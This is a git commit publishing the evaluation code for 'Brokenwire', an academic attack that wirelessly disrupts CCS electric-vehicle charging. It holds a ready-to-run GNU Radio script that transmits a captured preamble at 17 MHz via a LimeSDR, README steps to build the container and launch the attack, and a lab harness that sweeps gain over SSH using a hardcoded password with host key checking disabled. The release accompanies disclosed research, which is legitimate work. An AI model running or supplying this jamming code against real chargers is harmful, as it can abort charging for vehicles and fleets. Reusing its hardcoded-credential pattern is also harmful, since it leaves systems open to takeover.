made source code available
This commit is contained in:
parent
feb6a49f26
commit
a61c5b376a
|
@ -0,0 +1,3 @@
|
||||||
|
*.DS_Store*
|
||||||
|
*__pycache__*
|
||||||
|
*.ipynb_checkpoints*
|
|
@ -0,0 +1,31 @@
|
||||||
|
FROM ubuntu:20.04
|
||||||
|
|
||||||
|
ENV LANG C.UTF-8
|
||||||
|
|
||||||
|
ARG DEBIAN_FRONTEND=noninteractive
|
||||||
|
ENV TZ=Europe/London
|
||||||
|
RUN apt -y update
|
||||||
|
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
|
||||||
|
RUN apt-get install -y tzdata
|
||||||
|
RUN apt -y install python3-pip wget git python-mako doxygen cmake build-essential texlive-fonts-recommended texlive-fonts-extra dvipng sshpass software-properties-common
|
||||||
|
RUN add-apt-repository -y ppa:gnuradio/gnuradio-releases
|
||||||
|
RUN apt -y install gnuradio
|
||||||
|
RUN apt -y install git cmake g++ libboost-all-dev libgmp-dev swig python3-numpy python3-mako python3-sphinx python3-lxml libfftw3-dev libsdl1.2-dev libgsl-dev libqwt-qt5-dev libqt5opengl5-dev python3-pyqt5 liblog4cpp5-dev libzmq3-dev python3-yaml python3-click python3-click-plugins python3-zmq python3-scipy python3-gi python3-gi-cairo gobject-introspection gir1.2-gtk-3.0
|
||||||
|
|
||||||
|
RUN apt -y install limesuite limesuite-udev
|
||||||
|
|
||||||
|
WORKDIR /home
|
||||||
|
|
||||||
|
ADD ./code /home/code
|
||||||
|
WORKDIR /home/code
|
||||||
|
|
||||||
|
### Make sure the newest numpy version is installed
|
||||||
|
RUN pip3 install --upgrade numpy
|
||||||
|
|
||||||
|
### Install Pyhton Requirements and Jupyter ###
|
||||||
|
RUN pip3 install -r req
|
||||||
|
RUN pip3 install --upgrade jupyter
|
||||||
|
RUN pip3 install jupyterlab
|
||||||
|
|
||||||
|
### Start a shell
|
||||||
|
CMD ["/bin/bash"]
|
75
README.md
75
README.md
|
@ -1,3 +1,74 @@
|
||||||
# Brokenwire: Wireless Disruption of CCS EV Charging
|
<p align="center"><img src="https://github.com/ssloxford/brokenwire/blob/master/data/brokenwire_logo.png" width="30%"></p>
|
||||||
|
|
||||||
This repository will contain the evaluation source code for our paper Brokenwire once the embargo period has passed.
|
# Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging
|
||||||
|
|
||||||
|
This repository contains the evaluation source code used in our NDSS paper [**Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging**](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s251_paper.pdf).
|
||||||
|
|
||||||
|
Brokenwire is a novel attack against the **Combined Charging System (CCS)**, one of the most widely used DC rapid charging technologies for electric vehicles (EVs).
|
||||||
|
The attack interrupts necessary control communication between the vehicle and charger, **causing charging sessions to abort**.
|
||||||
|
The attack can be conducted wirelessly from a distance using electromagnetic interference, allowing individual vehicles or entire fleets to be disrupted simultaneously.
|
||||||
|
In addition, the attack can be mounted with off-the-shelf radio hardware and minimal technical knowledge.
|
||||||
|
With a power budget of 1 W, the attack is successful from around **47 m** distance.
|
||||||
|
The **exploited CSMA/CA behavior** is a required part of the HomePlug GreenPHY, DIN 70121 & ISO 15118 standards and all known implementations exhibit it.
|
||||||
|
|
||||||
|
Brokenwire has immediate implications for many of the **12 million** battery EVs estimated to be on the roads worldwide — and profound effects on the new wave of electrification for vehicle fleets, both for private enterprise and for crucial public
|
||||||
|
services.
|
||||||
|
In addition to electric cars, Brokenwire affects **electric ships, airplanes and heavy duty vehicles**.
|
||||||
|
As such, we conducted a disclosure to industry and discuss in our paper a range of mitigation techniques that could be deployed to limit the impact.
|
||||||
|
|
||||||
|
You can also learn more about Brokenwire on our [**website**](https://brokenwire.fail).
|
||||||
|
|
||||||
|
## Structure of the Repository
|
||||||
|
This repository is organized as follows:
|
||||||
|
|
||||||
|
```
|
||||||
|
. # root directory of the repository
|
||||||
|
├── code # contains the evaluation source code
|
||||||
|
│ ├── lab_evaluation # files used for the lab evaluation
|
||||||
|
│ │ └── collect_data.py # Python script used to evaluate Brokenwire in a controlled lab setting
|
||||||
|
│ ├── lib # various Python classes required for the evaluation
|
||||||
|
│ │ │── EvaluationUtils.py # library that helps running the lab evaluation
|
||||||
|
│ │ └── IPerfEvaluation.py # Python class used for the lab evaluation
|
||||||
|
│ ├── req # text file that contains all the Python requirements
|
||||||
|
│ └── scripts # directory that contains additional evaluation scripts
|
||||||
|
│ └── preamble_emission.py # Python script that emits the preamble with a LimeSDR
|
||||||
|
├── data # directory that contains required files
|
||||||
|
│ └── preambles # directory that contains the preamble
|
||||||
|
│ └── captured_preamble.dat # captured preamble used for the attack
|
||||||
|
├── docker-compose.yml # configuration file of the Docker container
|
||||||
|
├── Dockerfile # build instructions for the Docker container
|
||||||
|
└── README.md # this README file
|
||||||
|
```
|
||||||
|
|
||||||
|
## Running the Docker Container
|
||||||
|
This repository contains all configuration and source code files necessary to run the Brokenwire attack.
|
||||||
|
To ensure a quick and easy deployment, we provide a Dockerfile to build a container with all the required dependencies.
|
||||||
|
<br>**Please note**, to immediately get started with this repository, you will need `docker`, `docker-compose` and a LimeSDR.
|
||||||
|
|
||||||
|
The following steps outline how to build and run the Docker container and execute the Brokenwire attack:
|
||||||
|
|
||||||
|
* `git clone https://github.com/ssloxford/brokenwire.git`
|
||||||
|
* `cd brokenwire/`
|
||||||
|
* `docker-compose build`
|
||||||
|
* `docker-compose up -d`
|
||||||
|
|
||||||
|
Once the container is up and running, you can attach to it
|
||||||
|
|
||||||
|
`docker attach brokenwire`
|
||||||
|
|
||||||
|
and run the following command to start the attack:
|
||||||
|
|
||||||
|
`python3 /home/code/scripts/preamble_emission.py --lime-sdr-gain LIMESDR_GAIN`
|
||||||
|
|
||||||
|
where LIMESDR_GAIN is a value between -12 and 64.
|
||||||
|
|
||||||
|
## Recommended Equipment
|
||||||
|
|
||||||
|
To run the Brokenwire attack, a software-defined radio that can transmit at a center frequency of 17 MHz with a sample rate >= 25MSPS is required.
|
||||||
|
While any SDR with the these properties should work, our source code is tailored to the use of a LimeSDR.
|
||||||
|
Since Brokenwire is a very effective attack and does not require a high transmission power, testing the attack should not require any additional amplification.
|
||||||
|
|
||||||
|
## Contributors
|
||||||
|
* [Sebastian Köhler](https://cs.ox.ac.uk/people/sebastian.kohler)
|
||||||
|
* [Richard Baker](https://www.cs.ox.ac.uk/people/richard.baker)
|
||||||
|
* [Martin Strohmeier](https://www.cs.ox.ac.uk/people/martin.strohmeier)
|
||||||
|
|
|
@ -0,0 +1,169 @@
|
||||||
|
import sys
|
||||||
|
sys.path.append("/home/code/lib/")
|
||||||
|
|
||||||
|
from EvaluationUtils import EvaluationUtils
|
||||||
|
from IPerfEvaluation import IPerfEvaluation
|
||||||
|
import numpy as np
|
||||||
|
import argparse
|
||||||
|
import copy
|
||||||
|
import glob
|
||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
from subprocess import Popen
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
|
||||||
|
class ConnectionError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def set_noise_level(noise_level):
|
||||||
|
# Before setting the noise, make sure that no noise output is currently running
|
||||||
|
end_noise_output()
|
||||||
|
output_noise = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "/home/pi/evdisrupt-picoscope-awgn/run.sh", str(noise_level)])
|
||||||
|
time.sleep(5)
|
||||||
|
output_noise.terminate()
|
||||||
|
|
||||||
|
def end_noise_output():
|
||||||
|
#sudo pkill -INT python3
|
||||||
|
kill_previous_output = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "sudo", "pkill", "-INT", "python3"])
|
||||||
|
# Wait for 5 seconds to give docker enough time to shutdown
|
||||||
|
time.sleep(5)
|
||||||
|
kill_previous_output.terminate()
|
||||||
|
|
||||||
|
def emit_preamble(preamble, lime_sdr_gain):
|
||||||
|
run_gnuradio_script = Popen(["python3", "/home/code/scripts/preamble_emission.py", "--preamble", str(preamble), "--lime-sdr-gain", str(lime_sdr_gain)])
|
||||||
|
time.sleep(10)
|
||||||
|
return run_gnuradio_script
|
||||||
|
|
||||||
|
def run_iperf(iperf_evaluation):
|
||||||
|
|
||||||
|
# IPerf Settings
|
||||||
|
ip = "192.168.2.1"
|
||||||
|
port = "1234"
|
||||||
|
evaluation_time = iperf_evaluation.evaluation_time
|
||||||
|
bandwidth = "5M"
|
||||||
|
|
||||||
|
# Start the IPerf Server
|
||||||
|
iperf_server = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-secc.lan", "iperf3", "-s", "-p", port, "-J", "-1"], stdout=subprocess.PIPE)
|
||||||
|
# Sleep for a little while to make sure the IPerf Server is up and running
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
# Start the IPerf Client
|
||||||
|
# Possible error: iperf3: error - unable to connect to server: No route to host
|
||||||
|
iperf_client = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "iperf3", "-u", "-b", bandwidth, "-t", str(evaluation_time), "-p", port, "-c", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
try:
|
||||||
|
iperf_client.wait(timeout=(evaluation_time + 5))
|
||||||
|
except:
|
||||||
|
iperf_server.terminate()
|
||||||
|
iperf_client.terminate()
|
||||||
|
return
|
||||||
|
|
||||||
|
iperf_client_output = iperf_client.communicate()[1].decode('utf-8')
|
||||||
|
print(iperf_client_output)
|
||||||
|
|
||||||
|
if "unable to connect to server" in str(iperf_client_output) or str(iperf_client_output) != "":
|
||||||
|
print(f"FAILED: {iperf_client_output}")
|
||||||
|
iperf_server.terminate()
|
||||||
|
iperf_client.terminate()
|
||||||
|
raise ConnectionError('No connection to server possible!')
|
||||||
|
|
||||||
|
# Wait for the process, if no client connected kill the process
|
||||||
|
iperf_server.wait(timeout=20)
|
||||||
|
# Get the output from the IPerf Server Process
|
||||||
|
iperf_server_output = iperf_server.communicate()[0].decode('utf-8')
|
||||||
|
#print(iperf_server_output)
|
||||||
|
|
||||||
|
# Extract the important info from the IPerf Run
|
||||||
|
iperf_json_output = json.loads(iperf_server_output)
|
||||||
|
try:
|
||||||
|
iperf_summary = iperf_json_output["end"]["sum"]
|
||||||
|
iperf_evaluation.jitter = iperf_summary["jitter_ms"]
|
||||||
|
iperf_evaluation.lost = iperf_summary["lost_packets"]
|
||||||
|
iperf_evaluation.sent = iperf_summary["packets"]
|
||||||
|
iperf_evaluation.loss = iperf_summary["lost_percent"]
|
||||||
|
iperf_evaluation.print_results()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Make sure both processes are terminated
|
||||||
|
iperf_server.terminate()
|
||||||
|
iperf_client.terminate()
|
||||||
|
|
||||||
|
def run_evaluation(number_of_runs, iperf_evaluation):
|
||||||
|
noise_levels = [0]
|
||||||
|
|
||||||
|
if iperf_evaluation.preamble is None:
|
||||||
|
preambles = glob.glob("/home/data/preambles/*.dat")
|
||||||
|
else:
|
||||||
|
preambles = [iperf_evaluation.preamble]
|
||||||
|
|
||||||
|
lime_sdr_min_gain = 12
|
||||||
|
lime_sdr_max_gain = 64
|
||||||
|
gain_step_size = 2
|
||||||
|
|
||||||
|
for preamble in preambles:
|
||||||
|
|
||||||
|
# Repeat attack evaluation
|
||||||
|
for run in range(number_of_runs):
|
||||||
|
for noise_level in noise_levels:
|
||||||
|
#end_noise_output()
|
||||||
|
iperf_results = []
|
||||||
|
# Count how often the communication was interrupted
|
||||||
|
interruption_counter = 0
|
||||||
|
|
||||||
|
#if noise_level > 0:
|
||||||
|
#end_noise_output()
|
||||||
|
#set_noise_level(noise_level)
|
||||||
|
# Wait for 15 seconds to make sure the Picoscope has been initilized
|
||||||
|
#time.sleep(15)
|
||||||
|
|
||||||
|
# Iterate from lowest LimeSDR gain to highest
|
||||||
|
for lime_sdr_gain in range(lime_sdr_min_gain, lime_sdr_max_gain + 1, gain_step_size):
|
||||||
|
current_evaluation_run = copy.deepcopy(iperf_evaluation)
|
||||||
|
current_evaluation_run.lime_sdr_gain = lime_sdr_gain
|
||||||
|
current_evaluation_run.noise_level = noise_level
|
||||||
|
|
||||||
|
if interruption_counter > 1:
|
||||||
|
print("Now reached the maximum number of tries")
|
||||||
|
current_evaluation_run.loss = 100
|
||||||
|
iperf_results.append(current_evaluation_run)
|
||||||
|
continue
|
||||||
|
|
||||||
|
|
||||||
|
gnuradio_process = emit_preamble(preamble, lime_sdr_gain)
|
||||||
|
time.sleep(4)
|
||||||
|
|
||||||
|
try:
|
||||||
|
run_iperf(current_evaluation_run)
|
||||||
|
except ConnectionError:
|
||||||
|
print("Catching ConnectionError Exception")
|
||||||
|
current_evaluation_run.loss = 100
|
||||||
|
interruption_counter += 1
|
||||||
|
|
||||||
|
gnuradio_process.terminate()
|
||||||
|
time.sleep(4)
|
||||||
|
|
||||||
|
iperf_results.append(current_evaluation_run)
|
||||||
|
|
||||||
|
EvaluationUtils.save_results("results_20211214.csv", iperf_results)
|
||||||
|
time.sleep(5)
|
||||||
|
#end_noise_output()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser(description='Run evaluation for specific distance.')
|
||||||
|
parser.add_argument('--distance', '-d', type=float, help='Distance between PLC and transmitter (m).', required=True)
|
||||||
|
parser.add_argument('--amplifier', '-a', type=str, help='Amplifier.', required=False, default="1W")
|
||||||
|
parser.add_argument('--voltage', '-v', type=float, help='Amplifier Voltage.', required=False, default=12.0)
|
||||||
|
parser.add_argument('--current', '-c', type=float, help='Amplifier Current.', required=False, default=0.31)
|
||||||
|
parser.add_argument('--preamble', '-p', type=str, help='Path to the preamble.', required=False)
|
||||||
|
parser.add_argument('--time', '-t', type=int, help='Attack duration in seconds.', required=False, default=30)
|
||||||
|
parser.add_argument('--cable_length', type=int, help='Length of the charging cable (m).', required=False, default=4)
|
||||||
|
parser.add_argument('--angle', type=int, help='Angle between attacker and charging cable.', required=False, default=0)
|
||||||
|
parser.add_argument('--antenna_position', type=str, help='Description of antenna position.', required=False, default="Nearly centered, parallel")
|
||||||
|
parser.add_argument('--antenna', type=str, help='Description of antenna setting.', required=False, default="One dipole unrolled, one rolled")
|
||||||
|
parser.add_argument('--number_of_runs', '-r', type=int, help='Number of runs.', required=False, default=1)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
iperf_evaluation = IPerfEvaluation(args.distance, args.amplifier, args.voltage, args.current, args.preamble, args.time, args.cable_length, args.angle, args.antenna_position, args.antenna)
|
||||||
|
|
||||||
|
run_evaluation(args.number_of_runs, iperf_evaluation)
|
|
@ -0,0 +1,23 @@
|
||||||
|
import glob
|
||||||
|
import sys
|
||||||
|
sys.path.append("../lib/")
|
||||||
|
|
||||||
|
import pandas as pd
|
||||||
|
import os
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
class EvaluationUtils:
|
||||||
|
|
||||||
|
# This method takes an object, converts it into a dict and stores it into a CSV file
|
||||||
|
def save_results(file_name, results):
|
||||||
|
if len(results) > 0:
|
||||||
|
data_frame = pd.DataFrame(columns=results[0].to_dict().keys())
|
||||||
|
for result in results:
|
||||||
|
data_frame = data_frame.append(result.to_dict(), ignore_index=True)
|
||||||
|
|
||||||
|
# Check if file exists, if so, append the file.
|
||||||
|
# If not, create a new one.
|
||||||
|
if os.path.isfile(file_name):
|
||||||
|
data_frame.to_csv(file_name, mode='a', header=False, index=False)
|
||||||
|
else:
|
||||||
|
data_frame.to_csv(file_name, index=False)
|
|
@ -0,0 +1,30 @@
|
||||||
|
class IPerfEvaluation():
|
||||||
|
|
||||||
|
noise_level = 0
|
||||||
|
lime_sdr_gain = 0
|
||||||
|
output_power = 0
|
||||||
|
jitter = 0
|
||||||
|
lost = 0
|
||||||
|
sent = 0
|
||||||
|
loss = 100
|
||||||
|
|
||||||
|
def __init__(self, distance, amplifier, voltage, current, preamble, evaluation_time, cable_length, angle, antenna_position, antenna):
|
||||||
|
self.distance = distance
|
||||||
|
self.amplifier = amplifier
|
||||||
|
self.voltage = voltage
|
||||||
|
self.current = current
|
||||||
|
self.preamble = preamble
|
||||||
|
self.evaluation_time = evaluation_time
|
||||||
|
self.cable_length = cable_length
|
||||||
|
self.angle = angle
|
||||||
|
self.antenna_position = antenna_position
|
||||||
|
self.antenna = antenna
|
||||||
|
|
||||||
|
def to_dict(self):
|
||||||
|
return self.__dict__
|
||||||
|
|
||||||
|
def print(self):
|
||||||
|
print(f"IPerf Evaluation:\n\tDistance: {self.distance}\n\tAmplifier: {self.amplifier}\n\tVoltage: {self.voltage}\n\tCurrent: {self.current}\n\tPreamble: {self.preamble}\n\tEvaluation Time: {self.evaluation_time}\n\tCable Length: {self.cable_length}\n\tAngle: {self.angle}\n\tAntenna Position: {self.antenna_position}\n\tAntenna: {self.antenna}")
|
||||||
|
|
||||||
|
def print_results(self):
|
||||||
|
print(f"Results for Noise Level: {self.noise_level} and Gain: {self.lime_sdr_gain}\nLost: {self.lost}\nSent: {self.sent}\nLoss: {self.loss}")
|
|
@ -0,0 +1,136 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
#
|
||||||
|
# SPDX-License-Identifier: GPL-3.0
|
||||||
|
#
|
||||||
|
# GNU Radio Python Flow Graph
|
||||||
|
# Title: Not titled yet
|
||||||
|
# GNU Radio version: 3.9.2.0
|
||||||
|
|
||||||
|
from gnuradio import blocks
|
||||||
|
import pmt
|
||||||
|
from gnuradio import gr
|
||||||
|
from gnuradio.filter import firdes
|
||||||
|
from gnuradio.fft import window
|
||||||
|
import sys
|
||||||
|
import signal
|
||||||
|
from argparse import ArgumentParser
|
||||||
|
from gnuradio.eng_arg import eng_float, intx
|
||||||
|
from gnuradio import eng_notation
|
||||||
|
from gnuradio import soapy
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class preamble_emission(gr.top_block):
|
||||||
|
|
||||||
|
def __init__(self, preamble='/home/data/preambles/captured_preamble.dat', lime_sdr_gain=-12):
|
||||||
|
gr.top_block.__init__(self, "Brokenwire", catch_exceptions=True)
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Parameters
|
||||||
|
##################################################
|
||||||
|
self.preamble = preamble
|
||||||
|
self.lime_sdr_gain = lime_sdr_gain
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Variables
|
||||||
|
##################################################
|
||||||
|
self.samp_rate = samp_rate = 25e6
|
||||||
|
self.freq = freq = 17e6
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Blocks
|
||||||
|
##################################################
|
||||||
|
self.soapy_limesdr_sink_0 = None
|
||||||
|
dev = 'driver=lime'
|
||||||
|
stream_args = ''
|
||||||
|
tune_args = ['']
|
||||||
|
settings = ['']
|
||||||
|
|
||||||
|
self.soapy_limesdr_sink_0 = soapy.sink(dev, "fc32", 1, '',
|
||||||
|
stream_args, tune_args, settings)
|
||||||
|
self.soapy_limesdr_sink_0.set_sample_rate(0, samp_rate)
|
||||||
|
self.soapy_limesdr_sink_0.set_bandwidth(0, 0.0)
|
||||||
|
self.soapy_limesdr_sink_0.set_frequency(0, freq)
|
||||||
|
self.soapy_limesdr_sink_0.set_frequency_correction(0, 0)
|
||||||
|
self.soapy_limesdr_sink_0.set_gain(0, min(max(lime_sdr_gain, -12.0), 64.0))
|
||||||
|
self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, preamble, True, 0, 0)
|
||||||
|
self.blocks_file_source_0.set_begin_tag(pmt.PMT_NIL)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Connections
|
||||||
|
##################################################
|
||||||
|
self.connect((self.blocks_file_source_0, 0), (self.soapy_limesdr_sink_0, 0))
|
||||||
|
|
||||||
|
|
||||||
|
def get_preamble(self):
|
||||||
|
return self.preamble
|
||||||
|
|
||||||
|
def set_preamble(self, preamble):
|
||||||
|
self.preamble = preamble
|
||||||
|
self.blocks_file_source_0.open(self.preamble, True)
|
||||||
|
|
||||||
|
def get_lime_sdr_gain(self):
|
||||||
|
return self.lime_sdr_gain
|
||||||
|
|
||||||
|
def set_lime_sdr_gain(self, lime_sdr_gain):
|
||||||
|
self.lime_sdr_gain = lime_sdr_gain
|
||||||
|
self.soapy_limesdr_sink_0.set_gain(0, min(max(self.lime_sdr_gain, -12.0), 64.0))
|
||||||
|
|
||||||
|
def get_samp_rate(self):
|
||||||
|
return self.samp_rate
|
||||||
|
|
||||||
|
def set_samp_rate(self, samp_rate):
|
||||||
|
self.samp_rate = samp_rate
|
||||||
|
self.soapy_limesdr_sink_0.set_sample_rate(0, self.samp_rate)
|
||||||
|
|
||||||
|
def get_freq(self):
|
||||||
|
return self.freq
|
||||||
|
|
||||||
|
def set_freq(self, freq):
|
||||||
|
self.freq = freq
|
||||||
|
self.soapy_limesdr_sink_0.set_frequency(0, self.freq)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def argument_parser():
|
||||||
|
parser = ArgumentParser()
|
||||||
|
parser.add_argument(
|
||||||
|
"--preamble", dest="preamble", type=str, default='/home/data/preambles/captured_preamble.dat',
|
||||||
|
help="Set Preamble [default=%(default)r]")
|
||||||
|
parser.add_argument(
|
||||||
|
"--lime-sdr-gain", dest="lime_sdr_gain", type=intx, default=-12,
|
||||||
|
help="Set LimeSDR Gain [default=%(default)r]")
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def main(top_block_cls=preamble_emission, options=None):
|
||||||
|
if options is None:
|
||||||
|
options = argument_parser().parse_args()
|
||||||
|
tb = top_block_cls(preamble=options.preamble, lime_sdr_gain=options.lime_sdr_gain)
|
||||||
|
|
||||||
|
def sig_handler(sig=None, frame=None):
|
||||||
|
tb.stop()
|
||||||
|
tb.wait()
|
||||||
|
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, sig_handler)
|
||||||
|
signal.signal(signal.SIGTERM, sig_handler)
|
||||||
|
|
||||||
|
tb.start()
|
||||||
|
|
||||||
|
# try:
|
||||||
|
# input('Press Enter to quit: ')
|
||||||
|
# except EOFError:
|
||||||
|
# pass
|
||||||
|
#tb.stop()
|
||||||
|
tb.wait()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
Binary file not shown.
After Width: | Height: | Size: 122 KiB |
Binary file not shown.
|
@ -0,0 +1,19 @@
|
||||||
|
version: "3.5"
|
||||||
|
services:
|
||||||
|
brokenwire:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: Dockerfile
|
||||||
|
network_mode: "host"
|
||||||
|
privileged: true
|
||||||
|
image: brokenwire:brokenwire
|
||||||
|
environment:
|
||||||
|
- DISPLAY=$DISPLAY
|
||||||
|
container_name: brokenwire
|
||||||
|
stdin_open: true
|
||||||
|
tty: true
|
||||||
|
volumes:
|
||||||
|
- "/dev:/dev"
|
||||||
|
- "/proc:/proc"
|
||||||
|
- "./code:/home/code"
|
||||||
|
- "./data:/home/data"
|
Loading…
Reference in New Issue